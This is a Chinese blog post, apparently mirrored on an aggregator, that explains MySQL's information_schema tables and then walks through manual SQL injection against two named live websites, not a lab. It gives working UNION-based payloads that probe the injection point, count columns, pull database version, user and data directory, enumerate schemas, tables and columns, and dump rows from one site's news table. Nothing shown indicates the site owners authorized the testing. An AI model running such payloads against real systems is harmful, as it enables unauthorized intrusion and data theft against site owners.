当前位置: 首页 > news >正文

SQL注入:MySQL元数据库,外网实战手工SQL注入

MySQL元数据库

MySQL的元数据库是一组特殊的数据库,用于存储MySQL服务器的元数据信息,在sql注入中较为常用为以下两种元数据库:

  1. information_schema:这个数据库包含了MySQL服务器上所有其他数据库的元数据信息。例如数据库名、表名、列的数据类型或访问权限等。

  2. mysql:这是MySQL的核心数据库,存储了用户权限设置、数据库的用户、关键字等。

sql注入中元数据库的应用

information_schema元数据库中需要了解 tables 数据表 和 clomuns 数据表,以下是两种数据表的应用

tables数据表:存放所有数据库及数据表信息

        主要字段:

                1.table_schema: 存放所有数据表对应的数据库名。每一条数据表名信息,对应一条table_schema字段的值,其值为数据表名所在的数据库名。

                2.table_name:包含所有数据表信息,需引用table_schema字段信息进行查询

                

查询指定数据库中的所有表
SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA='库名';
查pikachu询数据库中所有表
SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA='pikachu';在information_schema数据库中的tables表,查询满足条件TABLE_SCHEMA字段值为pikachu,的TABLE_NAME字段的值

columns数据表:存放数据库,数据表及其字段信息。

主要字段:

                1.TABLE_NAME:存放数据表名,数据表每一条字段信息,对应一条TABLE_NAME的值,其值为字段所在的数据表名

                2.COLUMN_NAME:存放所有字段名,需引用table_name字段值进行查询

                3.TABLE_SCHEMA:存放所有字段对应的数据库名。每一条字段信息,对应一条table_schema字段的值,其值为字段所在的数据库名。与TABLE_NAME联用进行精确查询

查询指定表中的所有字段名
SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_NAME='表名' AND TABLE_SCHEMA='库名';
查询pikachu数据库下users表中的所有字段
SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_NAME='users' AND TABLE_SCHEMA='pikachu';

其余元数据查询

查询数据库数量及名称

select schema_name from information_schema.schemata

手工SQL注入

url:https://tpsldh.com/about.php?id=1

1.判断是否存在漏洞

tpsldh.com/about.php?id=1%27

页面:回显异常,sql报错回显,大概率存在注入漏洞

2.拼接布尔语句判断注入点类型

数值型: https://tpsldh.com/about.php?id=1 and 1=2

页面:无报错,回显正常

字符型:

<1> ?id=1' and 1=2 --+【--+为注释符,注释后续sql语句】

页面:回显异常

 <2> ?id=1' and 1=1 --+【--+为注释符,注释后续sql语句】

页面:回显正常

拼接字符型sql语句,服务器正常执行,判断注入点为字符型 

3.判断字符型参数闭合类型

<1> 单引号 ?id=1' 

页面:回显异常

<2>双引号 ?id=1"

页面:回显正常 

拼接单引号会触发sql语法报错。拼接双引号sql语句查询时,忽略多余字符,正常回显。判断闭合类型为单引号 

4.拼接order by 对查询结果进行排序,判断页面引用数据库字段数

如果ORDER BY指定的列名在查询的表中不存在,将会报错。列名可以数字代替

?id=1' order by 1 --+

?id=1' order by 2 --+

................

?id=1' order by 6 --+

页面:正常回显

 ?id=1' order by 7 --+

页面:回显异常

逻辑:将查询结果指定第七列进行排序时,触发sql语法报错。指定第六列排序,页面回显正常。可以得出该页面引用数据库所在数据表的字段数为6位

5.更改原参数,使原查询失效并拼接union联合查询,判断回显点

UNION 操作符用于合并两个或多个 SELECT 语句的结果集,生成单个结果集。

?id=-1'union select 1,2,3,4,5,6 --+

页面:出现拼接回显数字

逻辑:所有union联合查询多个结果集时,由于原参数失效,使页面回显拼接的结果集,从而判断回显点

出现意外,不适合新手实操,更换网站

https://www.csi-india.org/news/index.php?id=18
注入点类型:数值
sql报错回显:无
sql语句执行:顺利
字段数:8
回显点:3,4,5,6

6.拼接系统函数,获取数据库信息

SQL注入常用系统函数及变量-CSDN博客

载荷:?id=-18 union select 1,2,version(),@@datadir,database(),user(),7,8 --+

页面:回显点回显数据库参数

逻辑:数据库执行函数并返回结果拼接入回显点 

7.元数据库查询数据库数量及信息

载荷:?id=-18 union select 1,2,group_concat(schema_name),4,5,6,7,8 from information_schema.schemata --+

页面:回显当前用户权限可查询的数据库信息

 逻辑:元数据库查询信息并拼接入结果集中返回。由于·union 会去除重复的行,而查询的结果可能包含多个行,为防止数据丢失,使用group_concat函数,将多个行的值拼接为一个字符串,并使用逗号分割。

8.查询当前数据库下有哪些表

载荷:?id=-18 union select 1,2,group_concat(TABLE_NAME),4,5,6,7,8 from information_schema.tables where TABLE_SCHEMA=database() --+

页面:回显当前数据库下的数据表

逻辑:查询元数据库信息,语句意义见上文。database()返回当前数据库名,用作查询条件

9.查询数据表下有哪些字段

载荷:?id=-18 union select 1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where table_name='news' --+

页面:回显字段名

逻辑:查询元数据库信息,语句意义见上文,指定查询数据表news内字段名

10.查询数据

<1>查询多个数据

载荷:

?id=-18 union select 1,2,(select concat(news_id,serial_no,news_title,news_description,news_file_path,file_doc,news_status,news_date) from csiindia_portal.news ),4,5,6,7,8 --+

页面:回显数据

逻辑:使用select子句查询所有数据,可拼接其他字符或换行符,通过limit控制回显条目。group_concat 在 MySQL 中有一个默认的长度限制(通常为 1024 字节)。如果合并的结果超出这个长度,返回的字符串将被截断。

<2>查询单个字段所有数据

载荷:?id=-18 union select 1,2,(select group_concat(news_title) from csiindia_portal.news ),4,5,6,7,8 --+

页面:回显数据

http://www.lryc.cn/news/414982.html

相关文章:

  • 接口与抽象类有什么区别
  • 【时时三省】unity test 测试框架 使用 code blocks 移植(核心文件:unity.c, unity_fixture.c)
  • 安装Docker以及安装过程中的错误解决
  • PXE实验
  • Spring - 解析 统一数据格式返回以及统一异常处理
  • 用Manim实现——计算和绘制图形下方区域
  • MySQL 保姆级教程(十五): 组合查询
  • 《动手做科研》06. 如何产生新的研究想法
  • 【Kubernetes】Deployment 的状态
  • 新手学习Gazebo+ros仿真控制小车-----易错和自己理解
  • jdbc(mysql)
  • 【Linux】搜索log在哪个文件中执行的方法
  • web小游戏开发:2048(完)移动操作及动画效果
  • Redis学习笔记——第20章 Lua脚本
  • MySQL--日志管理
  • 【Nuxt】内置组件和全局样式使用
  • Java中spring boot validation 自定义注解使用
  • Android笔试面试题AI答之广播(1)
  • 微软商店无法加载,检查你的连接-解决方案
  • 数据结构实验报告-树与二叉树
  • 基于Django+MySQL球馆场地预约系统的设计与实现(源码+论文+部署讲解等)
  • 8 MQTT
  • 【文件系统】抽象磁盘的存储结构 CHS寻址法 | sector数组 | LAB数组
  • 基于python旅游推荐系统(源码+论文+部署讲解等)
  • Mysql大单表JSON优化
  • 电脑开机启动项管理小工具,绿色免安装
  • 一例AutoHotkey语言生成的文件夹病毒分析
  • 【机器学习第7章——贝叶斯分类器】
  • C++ QT开发 学习笔记(3)
  • 【Python实战】如何优雅地实现文字 二维码检测?